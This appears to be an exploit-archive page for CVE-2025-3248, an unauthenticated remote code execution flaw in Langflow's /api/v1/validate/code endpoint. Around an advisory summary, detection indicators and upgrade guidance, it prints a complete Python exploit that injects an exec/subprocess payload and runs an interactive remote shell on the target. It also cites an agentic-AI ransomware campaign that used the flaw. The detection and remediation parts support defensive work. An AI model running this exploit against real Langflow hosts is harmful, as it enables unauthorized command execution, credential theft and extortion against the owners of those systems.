PoC Archive PoC Archive
Critical CVE-2025-3248 patched

Langflow Missing-Authentication Remote Code Execution (CVE-2025-3248)

by langflow-ai (advisory); 0xgh057r3c0n (PoC) · 2026-07-03

Metadata

FieldValue
Date Added2026-07-03
Last Updated2025
Author / Researcherlangflow-ai (advisory); 0xgh057r3c0n (PoC)
CVE / AdvisoryCVE-2025-3248
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
TagsRCE, unauthenticated, missing-authentication, Langflow, AI-application, python-exec, CISA-KEV, agentic-ransomware, JADEPUFFER
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow (open-source AI/LLM workflow builder)
Versions AffectedPrior to 1.3.0
Language / PlatformPython
Authentication RequiredNo
Network Access RequiredYes (HTTP to Langflow’s /api/v1/validate/code endpoint)

Summary

CVE-2025-3248 is a missing-authentication vulnerability in Langflow’s code-validation API. The /api/v1/validate/code endpoint accepts and executes arbitrary Python code submitted by any client, with no authentication check on the route, allowing an unauthenticated attacker to achieve full remote code execution on the host running Langflow. Although patched in Langflow 1.3.0 and added to CISA’s KEV catalog in 2025, unpatched instances remain a high-value target: on 2026-07-01, researchers reported “JADEPUFFER” — the first documented fully agentic-AI-driven ransomware — using this exact CVE to autonomously harvest cloud/LLM credentials from compromised Langflow hosts and pivot into production database systems for extortion, demonstrating that older, already-patched CVEs remain dangerous when automated/agentic exploitation lowers the attacker’s operational cost.


Vulnerability Details

Root Cause

The /api/v1/validate/code endpoint, intended to validate user-submitted Python code snippets for Langflow’s visual flow builder, executes the submitted code via Python’s exec() without requiring authentication or sanitizing the input, allowing arbitrary code/command execution.

Attack Vector

  1. Send an unauthenticated POST request to /api/v1/validate/code with a code field containing a crafted Python snippet.
  2. The payload wraps a subprocess.check_output() call inside a function default-argument exec() trick and raises the output as an exception, so the target’s response body (the validation “errors” field) echoes back the command’s stdout.
  3. Parse the returned error message to recover command output, effectively yielding an interactive remote shell.

Impact

Unauthenticated remote code execution as the Langflow service user, enabling credential theft, lateral movement, and (per the JADEPUFFER campaign) autonomous ransomware deployment against downstream production systems.


Environment / Lab Setup

Target:   Langflow < 1.3.0
Attacker: Python 3.8+ + requests, colorama

Proof of Concept

PoC Script

See CVE-2025-3248.py in this folder.

1
2
3
4
pip3 install -r requirements.txt
python3 CVE-2025-3248.py -u http://TARGET_HOST:PORT

python3 CVE-2025-3248.py -u http://127.0.0.1:7860

Drops into an interactive shell (whoami, uname -a, etc.) by repeatedly POSTing crafted Python payloads to /api/v1/validate/code and parsing command output back out of the validation error response.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected subprocess/child-process creation by the Langflow service process
  • Outbound connections to unfamiliar hosts shortly after /api/v1/validate/code activity
  • Credential-harvesting or database-access patterns inconsistent with normal Langflow operation (JADEPUFFER campaign indicator)

Remediation

ActionDetail
Primary fixUpgrade Langflow to 1.3.0 or later
Interim mitigationRestrict network access to Langflow’s API to trusted hosts only; do not expose /api/v1/validate/code to the internet
CleanupIf compromise is suspected, rotate all credentials accessible from the Langflow host and audit downstream database/cloud access for JADEPUFFER-style automated extortion activity

References


Notes

Mirrored from https://github.com/0xgh057r3c0n/CVE-2025-3248 on 2026-07-03. CVE is from 2025 and CISA KEV-listed since then, but remains highly relevant given the 2026-07-01 JADEPUFFER agentic-ransomware report specifically naming this vulnerability as its initial access vector.

CVE-2025-3248.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# CVE-2025-3248 - Langflow AI Remote Code Execution (Unauthenticated)
# Author: 0xgh057r3c0n

import argparse
import requests
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
init(autoreset=True)

def print_banner():
    colors = [Fore.GREEN, Fore.CYAN, Fore.MAGENTA, Fore.YELLOW]
    color = random.choice(colors)
    banner = rf"""{color}
_____________   _______________         _______________   ________   .________         ________  ________    _____   ______  
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/         \_____  \ \_____  \  /  |  | /  __  \ 
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______   _(__  <  /  ____/ /   |  |_>      < 
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \/       \/    ^   /   --   \
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /\_______ \____   |\______  /
        \/                  \/                  \/     \/         \/       \/                 \/         \/    |__|       \/ 

    {Fore.RED}CVE-2025-3248 - Langflow AI - Unauth RCE
    Author: 0xgh057r3c0n{Style.RESET_ALL}
"""
    print(banner)

class LangflowExploit:
    def __init__(self, url, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

    def execute(self, command):
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if error_msg.startswith("b'"):
                        output = error_msg[2:-1].encode().decode('unicode_escape').strip()
                        return output
                    else:
                        return "[!] No command output."
                except Exception as e:
                    return f"[!] JSON parse error: {e}"
            else:
                return f"[!] HTTP {response.status_code} - exploit failed."
        except requests.RequestException as e:
            return f"[!] Request failed: {e}"

def main():
    print_banner()

    parser = argparse.ArgumentParser(description="CVE-2025-3248 | Langflow AI RCE Exploit | by 0xgh057r3c0n")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://host:port)")
    args = parser.parse_args()

    exploit = LangflowExploit(args.url)

    while True:
        try:
            cmd = input(f"{Fore.RED}0xgh057r3c0n@root💀$ {Fore.RESET}").strip()
            if cmd in ["exit", "quit"]:
                print("Exiting...")
                break
            output = exploit.execute(cmd)
            print(output)
        except KeyboardInterrupt:
            print("\nExiting...")
            break

if __name__ == "__main__":
    main()